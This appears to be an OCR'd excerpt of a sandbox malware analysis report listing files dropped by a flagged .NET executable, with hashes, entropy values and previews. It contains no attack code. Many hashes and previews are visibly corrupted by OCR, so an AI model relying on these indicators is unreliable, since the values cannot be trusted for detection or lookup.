SHA-256: FE783812F1AFA7C23A45FEC63BD9E142264F6A5913C0F768FAD76AB7136E718A

SHA-512: D42DD5F6AE896C7FESDBE79F06A33298F8641F0C8BFF513B991606B783E7A6C3AD5387BBA7542181489CC42883E6A8COFC14C0AALBO19CDCEFDAF7C04C127F
3

Malicious: false

Reputation: unknown

Preview:

l.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.ro.cee.s.s.l.d.,.N.um.b.er.O.fT.hre.ads.,. W.o.rkingS.etPriv.atesS.ize.,HardF.aultC.o.unt,Numb.erO.fT.hreads.H.
i.g.h.W.aterm.ark.,.Cy.cleTime.,.CreateTime.,UserTim.e.,KernelTim.e.,Bas.ePriority.,.P.eakV.irtualS.ize.,V.irtualS.ze.,P.ageF.
a.u.lt.C.o.u.nt., W.o.rkingS.e.tS.ize.,P.eakW.orking.SetSize.,Qu.o.taP.eakP.agedP.o.0lUsag.e.,QuotaP.agedP.o.0lUsag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.Us.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.ol.Us.ag.e..P.agefileUs.ag.e.,PeakP.agefileUsag.e.,PrivateP.ag.e.C.oun.
t.,..R.e.a.d.O.p.eratio.n.C.o.u.nt., Write.O.p.eratio.ncC.ou.nt.,.O.therO.p.eratio.n.C.ount,ReadTransferC.o.unt,W.riteT.ran.sfer.C.o.u.
n.t.,.O.therTrans.fer.Co.unt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5718.tmp.txt

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 13340

Entropy (8bit): 2.6953083660809516

Encrypted: false

SSDEEP: 96:9GiZYWUgHKBmMYOY 1WhIHIYEZhztri9qwKIwCgmEaYduAT3qIMe3:9jZDnJJfDaYduATNMe3

MD5: 681DF540AAF8567C3FIF5EF22DBF6E70

SHA1L: 46F3DE515C5F5A0B110240439B6D8C698B30286E

SHA-256: 030C4185AEF6020E2C373F1ACB0358EE2DAB4D777862F5C55459C5110DF99C3A

SHA-512: DB5CC317E1AB2AEF2DE8B66D05A98DE2A519092A3818F16E85A8FEFDD45A7D98DD44C1264CD2683B716290E2CC5E96271222F292F540EDIC3DAC51A075D94(
E

Malicious: false

Reputation: unknown

Preview:
B.T.imerResolution .................. ... ... 15.6.25.0....B.P.a.geSiz.e. .. ... ... 4.0.9.6.....B...N.L
m.b.erOfPhysicalPages...........................1.0483.15....B.LowestPhysicalPageNumber ............................. 1.
...B..HighestPhysicalPageNumber ......................1.31.0.7.19...B.AllocationGranularity. ...........................
.6.5.5.3.6.....B.M.i.nimum.uUs.erMo.deAddress......... ...........656536...B.MaximumUserModeAddress.................

.1.4.0.7.3.74.88.2.89.79.1...B. Activ.eP.ro.cessorsAffinityMask. ......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER62AE.tmp.dmp

Process: C:\Windows\SysWOW64\WerfFault.exe
File Type: Mini DuMP crash report, 15 streams, Tue Sep 28 03:28:27 2021, 0x1205a4 type
Category: dropped
Size (bytes): 326038
Entropy (8bit):  3.7388052041137105
Encrypted: false
SSDEEP: 3072:Vf03Yxjd+pip8QhFKKO9gIOgF5MFOLUCgU4p+IX5ebOoh5hjevBT:x03Y 2pyO9RpDwy TjodIm
MD5: 1E82612B9B7EB5AC2C7EDF83AC653433
SHA1L: F2DC2E31B879A3349ECBOAGE62FB27524B23CE49
SHA-256: E93DCE9CC983874CB7EDE7563CAE6411ABE6G0CC570047EFB3D456B9DA8S5ABEFO
SHA-512: 889F0A797596C6893C2689209F923F7D6E120719476D0C9297DIAC22796C4B390C5509084DA7DESBA2C1288D3D306E9A337A3ED5B7F26512CD3A5120C8F70503
Malicious: false
Reputation: unknown
Preview:
MDMP....... ........ Ra.....ccoooviins Ui B...... 0......Genuinelntelw........... T....... H...Ra........ 0....ceveveePaccificc. Standard. . Time ..o,

.1.7.1.34..1..x8.6.fre..rs4. _releas.e.18.04.10.-.1.8.04.

.................................................................................................. d.b.9..0.r.e...1.3.8.6.,.1.0...0... 1.7.1.3.4.. Lottt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C44.tmp.WERInternalMetadata.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 8398

Entropy (8bit): 3.6940394070440203

Encrypted: false

SSDEEP: 192:Rrl7r3GLNi806H6Y1cSUx8d4gmfZBSnCprRH89bTAsf2Rm:RrIsNiX6HEYTSUx8d4gmfPSsYTTB
MD5: BBD313013A9716A15F55C3413D2A2BA1
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C44.tmp.WERInternalMetadata.xml

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

EFB8B458167A8D6D8332D04DOFEDD3D31D4B6D2F

3FF6CE3D12B3FD308F53610311759E5E1F541846EC638B919F8458FE3822BAF9
263FCAF31C18B9698857C328552395A757CC6F455DC997D16737CB19A123824261361DDISEFDD19E617A5FA566C2C29DE1F30DFDF5190D2F41C3483BE62F711:
false

unknown

.<.?x.m.l .wv.ers.ion="1..0" enc.o.ding="UTF.-16."?>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformadtion>....<W.in.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.</W..n.d.ow.s.N.T.V.errs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0).;.. W.in.d.ow.s. .1.0. .P.r.o.
</.P.rod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<B.uildString>17134.1.amd.6.4fre.rs4._re.leas.e..18.04.10.-18.0.4.
<./.B.u.i.l.d.S.tri.n.g.> .<.R.ew.is.ion>1l</Rewvision>....<Flav.or>Multipro.cess.or Freex</Flav.or>....<Architecture>X6.4.</
Ar.ch.itecture>.....<LCl1D.>1.0.3.3</LC.lD>...</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.i.d>6.7.28</P..
d>....

C:\ProgramData\Microsoft\Windows\WER\Temp\WERGEOA.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4676

4.446269990754614

false

48:cviwSD8zsJJIgtWI9p1WSC8Br8fm8M4JCulhLC207Fxwj+q8v5IhLC20e0/rAditd:ul Tfh+ESNGJICum2QoK5m2yzAditd
54CAA8222A238C5915C1F138701693D9

CC89B59478E924F77C659A803DBC5BA16F06BAFD
5435069FF77B6FEDE87AEBBBI1F730F837DA870B039704856C073EC9917B1A16
803685FBA3BD3B319549D93F0A9D0535CD4D29500C6FCE723CEDB8759F669C605A681915CEA2231A2CD8F32C1D0B177EB523320AFBOB791E2D3C53E50D4543]

false

unknown

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185879" />.. <arg nm="osinsty" val="1"/>.. <arg nm="jever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0"/>.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERGE1C.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

55028

3.0579116783390816

false
1536:/mH/NkFtpjdsNolrgZTwzHI3G1iZUbtOWbDi:/mH/NkFtpjdsNolrgZ TwzHqG 1iZUbtOd
91EC262D630C5A92F0093FC35A122F1F
ODBF6AE50ADFDEF9EC8C4ADEC79DC5B37AFF272D
0B9D9032280F23D67438CAF24AE527D51C1A92D1C71F39DB1D1B5F9246535618
EEC2AF3FF1D340AFD43F6334A3771F6CF148570834D861167F38004C025F30BFD3254E95C23759407B74C1562594CEC55F8D49139994F86E6437EE674AAEDAOE
false

unknown

l.m.a.g.e.N.am.e.,.U.n.i.q.ue.P.ro.cess.ld, Numb.erO.fThreads.,WorkingsS.etPrivatesS.ize.,HardFaultC.o.unt,Numb.erOfT.hreads.H.
i.g.hWatermark.,.Cy.cleTime.,.CreateTime.,UserTime.,KernelTim.e.,Bas.ePriority.,.P.eakV.irtualS.ize.,V.irtua.lS.ize.,PageF.
a.ult.C.o.u.nt, WorkingS.e.tS.ize.,.P.eakW.orkingsSetSize.,Qu.otaP.eakP.agedP.o.0lUsag.e.,QuotaP.agedP.o.0lUsag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.olUs.a.g.e.,.Qu.o.t.aN.o.n.P.a.g.e.d.P.o.olUs.ag.e.,.PagefileUs.ag.e.,.PeakP.agefileUsage.,PrivateP.agecC.o.un.
t.,.R.e.a.d.O.p.eratio.nC.o.unt, WriteO.p.eration.C.ount, O.therO.perationcC.ount, ReadTransferCo.unt,WriteT.ransfercC.o.u.
n.t.,.O.therTransfer.C.o.unt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER73D9.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.695834883124124

false
96:9GiZYWDc+z0zYsYdWrGHMYEZiDtrisqSKowJ63QcQalDoDh3VIAb3:9jZDG7WnZQalDoDhaAb3
1CD3C129C6EO0DCBB36DF62B4F79041FE

8702D9F23EAB2F332978CC5256208A6660493AEF
AD377E2D403955210A20FD38C49F5E556F3106C2745899FD66B4565BFIF9C87C
43FF0454E80D68EA70420D3E0B842B65C2C0741F3A64E1C59D94EA3D4A5015191CC99D2710B1BCOFCIC17318957681C4E5A94595A657FD28D0365EFEDEDBE2E
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER73D9.tmp.txt

Malicious:
Reputation:

Preview:

false

unknown

B..T.imerRes.olution. ... ... ... ... .. .. 1.5.6.2.5.0....B...P.@.0.€.S..Z.8. . . 4.0.9.6.....B...N.L
m.b.e.r.O.f.P.hys.icalPages...........................1..04.83.15...B..Lowes.tPhysicalPageNumber ............................. 1.
....B..H.i.g.h.estP.hys.icalPageNumber ......................1.31.0.7.19...B..Allo.cationGranularity. ....... ... .. ... ... .......
.6.5.,5.3.6.....B...M.i.n.im.um.U.s.er.M.o.deAd.dress........ ..........6.5536...B..MaximumuUs.erModeAddress.................

.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.cesss.orsAffinityMask ......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCEBB.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Sep 28 03:27:52 2021, 0x1205a4 type

dropped

333098

3.6689649685110144

false
3072:EQOvjd+p/upWbmkQ9glOgF5zCPs0xUCgUAgTpSsVb8p4oPudlUdE:900pZQ9RpDzYsGTjvFNWK
90F5C57A37027C696F4121EF3E7029AB

00901F99DD525FC26E96428F6A686BC3DEOCD465
AD1BCAEF443B170E1E5674290809EACECD137230D168C41C6754F003A56C776B

065AED34CD30D4BE884751353BCCB014F66B0382E663C3D306D99C601F32D668A87B6BOBDCAIECO6F7323FDCOEBD513455AC1B91532B1BA3B4031DC7DC962!
A

false

unknown

..GenuinelntelW. P.a.c.ific. .Standard. T.i.me..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE958.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8420

3.696287469237415

false
192:Rrl7r3GLNIlG6tF6YINSUs8pNgmfZGSnCprRg89boD6sfOgubm:RrisNiU6PEYCSUs8pNgmfkSsdoDZfsS
024AC9COF4E45272DE73EF324C3C66A8

17B906E2D18610B77DA0SBESBDCCA302906FF00241
F1531107F2E3A83F55FA14EF04C416DEC76775C3CC1EA9E81713D6466E47EABA

3CCC4559887CB762FC3F3779BABC6B8BE9BBE1108FF77D343AB3F1F82C2E082B7F5E446C5708AE3E437C37DA96CDC57F7CA62E1FEBS5A5F81F355D09F44541C9
4

false

unknown

.<?2x.ml version="1.0" en.c.o.ding="UTF-16."2>..<WERR.eportMetadata>...<0.SV.ersionlnformation>....<W.ind.
o.w.s.N.T.V.ers.ion>10..0</W.indowsNTV.ers.ion>....<Build>17134.</Bu.ild>.....<Pro.du.ct>(0x3.0.)... .W.ind.ow.s..10. .P.ro.

<./.P.rod.u.c.t> <.E.d.ition>P.rofess.ional</Edition>. <.B.u.ildS.tring>17134.1.amd6.4fre.rs4. _releas.e..18.04.1.0.-18.0.4.
</B.uildString>....<Revision>1l</Reuvision>....<Flav.or>Multipro.cess.or Free</Flavor>....<Architecture>X6.4<l/.
Architecture>....<LClD>1033</LCIlD>...</0.SV.ersionlnformation>...<Pro.cess.lnformation>....<P.id>6.3.7.6.</P..
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA82.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4701

4.478127858890355

false

48:cviwSD8zsItIgtWI9p1WSC8BD8fm8M4JInlhLFF0i+q8v3IhLOvV/rA4Cid:ul TIH+ESNWJnAIK3qvzA4Cid
58A0BEEE5DD30D31C28988363AF1BB1A

3BD8795429391CA41EDD7DC8C05C3672F7BA7CAS
D379F8E75357DDACE13A5C0224B69834A1AA915A35114AEEDESF3554909724D2
04C51076499DF00B3C33D26E13597DA504949193EC56D359FBE49354C5F294509944837682EE6115E6F1E7B4B719B28663663CD295563C64CCCB7ABALFFODD6C
false

unknown
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C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAS82.tmp.xml

Preview:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185878" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0"/>.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAAF.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

57272

3.0541917490009363

false
1536:BzHcBnpDbtMWQ/5RtHZw1bgQynVDi/22LF3Kv:BzHcBnpDbtMWQ/5RtHZw1blynVDi/22S
FEAEDAO1FE647E53A9FC80773EDB6061
23D4D06526729AB789803ECD21C1A312FEEFB7C5
EF453A6CF02559DAFE6FBA21197E6BF4D8E33AA9F3ES5B31B59C150F83C068BBA

4706FAQ06EC93D0OC20F70B2E4C09F363B2C2D06ESBFCEDSC79496D5BBID6A2CBB473A7C4B14131BCFFFE2B9800ED7E4E6419DEEFCS5FF950AC70973939B9A414(
89

false

unknown

l.m.a.g.e.N.am.e.,.U.niqu.eP.ro.ce.s.s.ld, Numb.erO.fThreads.,W.o.rkingS.etPrivatesS.ize.,HardFaultCount,Numb.erOfThrea.ds.H.
ighWwatermark.,.CycleTime.,CreateTime.,UserTime, KernelTime,BasePriority,PeakV.irtualS.ize.,V.irtualSize.,PageF.
a.ultC.o.u.nt, WorkingsSetSize., .PeakW.orkingsS.etSize.,Quo.taP.eakP.agedP.o.0lUsage, QuotaP.agedP.o.o0lUsag.e.,QuotaP.e.
ak.N.o.n.P.a.g.ed.P.o.olUs.age.,QuotaNonPagedP.o.olUsage.,PagefileUsag.e.,PeakPagefileUsage.,PrivateP.ag.e.C.o.u.n.
t.,.R.e.a.d.O.p.eratio.n.Co.unt, Write.O.p.eratio.n.C.o.unt, Other0O.peration.C.ount, ReadTransfercC.ount, WriteTran.s.ferC.o.u.
n.t,.O.therTransfer.C.ount, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF2DE.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.695253303502621

false
96:9GiZYWut6flYdYrWKWOHLYEZretFi+qeKOwXTjbalLUzqQo3IIFg3:9jZDHKKLnhalLUeQofFg3
8F0988CCFA5DDA1B37DB36206FAASD7E
E6C7A2A0E90FA76AFB7C7DADAAFIFDAFC6A57922
AB99938D88584D089F9AA1AAB4891A252F109D4117A6FD13AE46494CD097CF06
5131DBD3237493479539C61665973B14C84A107198AC1E19C134CFO5F00B591E03321F21EAIBC3EGESBEICA4116F1ED440B4A02A5ADB1CA28068C42CES77EL1ESCI

false

unknown

B.T.imerRes.olution ... ... ... 1.56.25.0....B.. P.ag.8.SZ. 4.0.9.6.....B...N.L
m.b.er.O.fP.hys.icalPages...........................1.0483.15....B.LowestPhysicalP.ageNumber ......... ... ... ... ........ 1.
....B..HighestP.hys.icalPageNumber ......................1.31.0.7.19....B..AllocationGranularity. ......... ... ... ... .. ...,
.6.5.5.3.6.....B.M.i.n.imum.U.s.erMo.deAddress......... ...........656536...B.MaximumUserModeAddress. ................

.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.cess.orsAffinityMask. ......

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

C:\Users\user\Desktop\s9SWgUgyO5.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

31232

6.328607170068044

false

768:X1S7d04IGn8pAwW5sYOEIWCqgFDIZ8Lq7d:X1YbEnDWOENCqMZF7d
B462382CB954466386F9334247E0A34C
OAC9E261EAFC36F2D8A7BDA5755B44C9D8C883E9
6A19A144807268D406C6DA55513AE24493B2D411BABE2A2E15567D66E55D976B
EDFAEC1938FF467207C75E38B2BBEA2445FEC6ACCDCD325101A4E4B60E17C9041B3C9795CF100D194549372C60B07E143464181C63458FC8E753F384B2369F4)
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 26%, Browse
e Antivirus: ReversingLabs, Detection: 36%

unknown

Copyright Joe Security LLC 2021 Page 20 of 118


https://www.metadefender.com/#!/results/file/bzIxMDkyNVFvMFRJbjZHS3hJMklpbFRWckg/regular/analysis

Preview:

9. e
~..02..76..(@...(A

0>

Process: C:\Users\user\Desktop\s9SWgUgyO5.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYVIrPYV

MDS5: 187F488E27DB4AF347237FE461A079AD

SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9IDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512: 89879F237COC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
Malicious: true

Reputation: unknown

Preview:

[ZoneTransfer]....Zoneld=0

C:\Users\luser\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 22204

Entropy (8bit):  5.604931016283915

Encrypted: false

SSDEEP: 384:PtCD3quw+SZPme8biRISBKNMjul3PpaeQ99gRSIxmT1MaLZIgRV7QJ3D+ZBDI+iL:4S5m7/4KMCI3Bat8RdACqfY8sVK

MD5: 4B93FB7D4BBA6A90C7B60F808253C182

SHA1L: 014DDCAF8FEO035ACE2687DE48AA3B6B4579A49FB

SHA-256: 2EAAECES83684170AC401DD0430DD048C5E995C561F45584FF58C565F5EAATADC

SHA-512: A43B82C57B05CD69CFDFC89115B485FEDOC2C3D80BOAD30EBD79987FAED4C2634F015B9A5498E668141AF97836B5BA0CIES0C080D08DIFEFC08B55BA1F00C!
13

Malicious: false

Reputation: unknown

Preview:
@...e.ccccceee.¥uree.>.b.Q.Q...Guoi~ @.......... Heooioee <@.M.L."My...:...... .Microsoft.PowerShell.ConsoleHostD............... fZve...F....x.).......System.Managemen
t.Automation4............... [..{a.C..%6..h......... System.Core.0.... . System..4........ccc..... 795..:0..9..0..ceue System.Xml..L............... 7.3@.....~......
#.Microsoft. Management.Infrastructure.8................ Lo .System.Numerics.@................ Lo..QN.....<Q........ System.DirectoryServices<.. LCHOQNLY S
..... System.Management...4..................]. D.E.... System.Data.H...... H..m)aUu.........Microsoft.PowerShell.Security...<................~[L.D.Z.>..m.........Sy
stem.Transactions.<....... .):gK..G...$.1.q........System.ConfigurationP. ..[.C..J..%...].......%.Microsoft.PowerShell. Commands. Utility...D.................. -D.F.<.nt.1
........ System.Configuration.Ins

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_1lvptdszn.afy.psl

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest 21by5mbg.0zg.ps1
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest 21by5mbg.0zg.ps1

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_3lalbnrc.tow.psml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_3zzq33dl.zko.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!

A
false

unknown

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_4xsvq2co.5px.psl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!

A
false

unknown
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_4xsvq2co.5px.psl

Preview:

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_dxgvoyop.yop.psl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_hrkzr5yy.54x.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!

A
false

unknown

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzm0yq0h.1yh.psm1l

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560ES5F7F9BD058A12A280433ED6FA4651!

A
false

unknown

C:\Users\user\AppData\Local\Temp\ __PSScriptPolicyTest_kyzOnjed.lca.psm1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:u:U

C4CA4238A0B923820DCC509A6F75849B
